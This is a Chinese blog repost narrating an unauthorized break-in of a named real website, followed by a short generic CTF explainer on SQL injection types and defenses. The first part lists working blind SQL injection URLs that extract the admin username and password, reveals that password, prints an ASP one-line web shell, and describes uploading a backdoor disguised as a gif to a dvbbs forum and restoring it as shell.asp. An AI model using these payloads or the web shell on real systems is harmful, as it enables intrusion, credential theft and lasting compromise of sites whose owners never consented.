sql注入的基础知识


作者:混世魔王… 文章来源:swords
某日,为了找个免费的asp.net空间我转悠到了站长之家http://www.yisou8.com,令人失望的是几条asp.net空间信息根本就没法用,浪费了偶的注册时间,怎“郁闷”两字了得?!
于是,我决定帮忙监测一下网站有没有洞洞?很失望啊,很失望,在网站首页的所有潜在注入点都“试射”了一遍,没有发现一个可以利用的。郁闷之际,看到“美女图库”分栏目,决定进取看看MM图片休闲一下。
图1
一、挖掘注入点
习惯性的再加个单引号http://www.yisou8.com/sucai/index.asp?catid=4',这次又有了新的发现,幸亏我观察得仔细啊,两次返回的图片不一样,大家看看两次的图片对比。
当提交第一个网址的时候,返回正常页面,提交第二个网址的时候返回另一个页面的信息,这就说明http://www.yisou8.com/sucai/index.asp?catid=4这个脚本存在SQL注入的漏洞。虽然找到了注入点,但是都是些这么大的图片,返回的信息太慢,于是我决定继续找找看看。打开他的评论看看,是个无框窗口,把地址隐藏了,我们按“Ctrl+N”,地址已经暴漏了http://www.yisou8.com/sucai/review.asp?id=3256,这次直接用and 1=1试试http://www.yisou8.com/sucai/review.asp?id=3256 and 1=1
http://www.yisou8.com/sucai/review.asp?id=3256 and 1=2
第一次正常,第二次空白了,哈哈,找到了理想的注入点,那我们看看他是什么类型的数据库。http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select * from sysobjects)返回空白,说明不存在系统表sysobjects,如果存在就是MSSQL数据库,如果不存在一般就是ACCESS数据库了。很失望啊,看来得到WebShell比较困难啊,毕竟ACCESS比MSSQL的功能少,麻烦ing。
二、猜测表名、字段名、字段值
通过下面语句来猜解表名http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select * from admin)返回正常页面,说明表名正确。通过下面语句来猜解字段名。
http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select admin from admin)
http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select password from admin)
http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select id from admin)
比较顺利,除了admin字段猜了两次username和user外,其他一猜即中。下面的过程是来猜测id的,高手一看即懂。
http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select id from admin where ID between 1000 and 3255)
http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select id from admin where ID between 1000 and 3256)
猜测到id居然就是review.asp?id=3256这个id=3256!检测admin值。
http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select id from admin where len(admin)=5 and ID=3256)
http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select id from admin where asc(mid(admin,1,1))=97 and ID=3256)
第一个字母是’a’,根据经验,一般字段名就是admin,试一下
http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select id from admin where admin='admin' and ID=3256)
正确,猜出字段名admin的值就是“admin”
猜密码值:
http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select id from admin where len(password)=12 and ID=3256)
http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select id from admin where asc(mid(admin,1,1))=97 and ID=3256)
http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select id from admin where asc(mid(password,1,1))>114 and ID=3256)
http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select id from admin where asc(mid(password,1,1))>115 and ID=3256)
最后猜出admin内容是admin,password内容是smrtanujf888
找到后台http://www.yisou8.com/sucai/admin/login.asp
进去看看。
很遗憾,试了几个地方插入
<%if request("swords")<>"" then Session("sw")=request("swords")
if Session("sw")<>"" then execute Session("sw")%>
没有找到可以得到WebShell的地方, 看来是没有办法了,于是回到首页继续逛。一看是动易2005程序,想使得到的密码试一下,居然没有找到后台,@#$%^&*防范得很好,把后台登录地址改了!!痛苦失望流鼻涕中。
惊鸿一瞥啊,我发现最右侧还有个论坛,一看动网的dvbbs7.1.0,《dvbbs7.1照样从后台得到WebShell》刚在八进制论坛看到的!马上一试!
把dvbbsToshell.gif(一个数据库了:里面插入了加密的asp后门,已经放在光盘)选择在发表帖子的那个地方上传。因为这个地方不会检查文gif的特征码。(不要选择在头像上传的地方上传啊。)
记录下上传后的地址UploadFile/2005-7/200571212261232654.gif,点击“管理“到后台,执行数据库备份。

恢复成shell.asp。
执行后门http://bbs.yisou8.com/Databackup/shell.asp
写入新的后门http://www.yisou8.com/shell2.asp测试下功能,完成。
后记:关键是注入点的挖掘和灵活的运用已知的漏洞,over!写完后也是我通知管理员的时候了! 

CTF(Capture The Flag)是一种网络安全竞赛,旨在考察参赛者在网络安全领域的技能和知识。CTFSQL注入是一种常见的攻击技术,用于利用应用程序对用户输入的不正确处理而导致的安全漏洞。下面是CTFSQL注入基础知识: 1. 什么是SQL注入SQL注入是指攻击者通过在应用程序的输入插入恶意的SQL代码,从而绕过应用程序的验证和过滤机制,进而执行非法的数据库操作。攻击者可以通过SQL注入获取敏感信息、修改数据甚至控制整个数据库。 2. SQL注入的原理: SQL注入利用了应用程序对用户输入的不正确处理。当应用程序没有对用户输入进行充分验证和过滤时,攻击者可以通过构造特定的输入来改变原始SQL查询的语义,从而执行恶意操作。 3. SQL注入的类型: - 基于错误的注入:攻击者通过构造恶意输入,触发应用程序产生错误信息,从而获取敏感信息。 - 基于布尔盲注:攻击者通过构造恶意输入,利用应用程序对布尔表达式的处理方式,逐位猜测数据内容。 - 基于时间盲注:攻击者通过构造恶意输入,利用应用程序对时间延迟的处理方式,逐位猜测数据内容。 - 基于联合查询注入:攻击者通过构造恶意输入,利用应用程序对联合查询的处理方式,执行额外的查询操作。 4. 防御SQL注入的方法: - 使用参数化查询或预编译语句,确保用户输入不会被解释为SQL代码。 - 对用户输入进行严格的验证和过滤,包括输入长度、类型、格式等。 - 最小化数据库用户的权限,避免使用具有高权限的数据库账户。 - 定期更新和修补应用程序和数据库的安全补丁。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值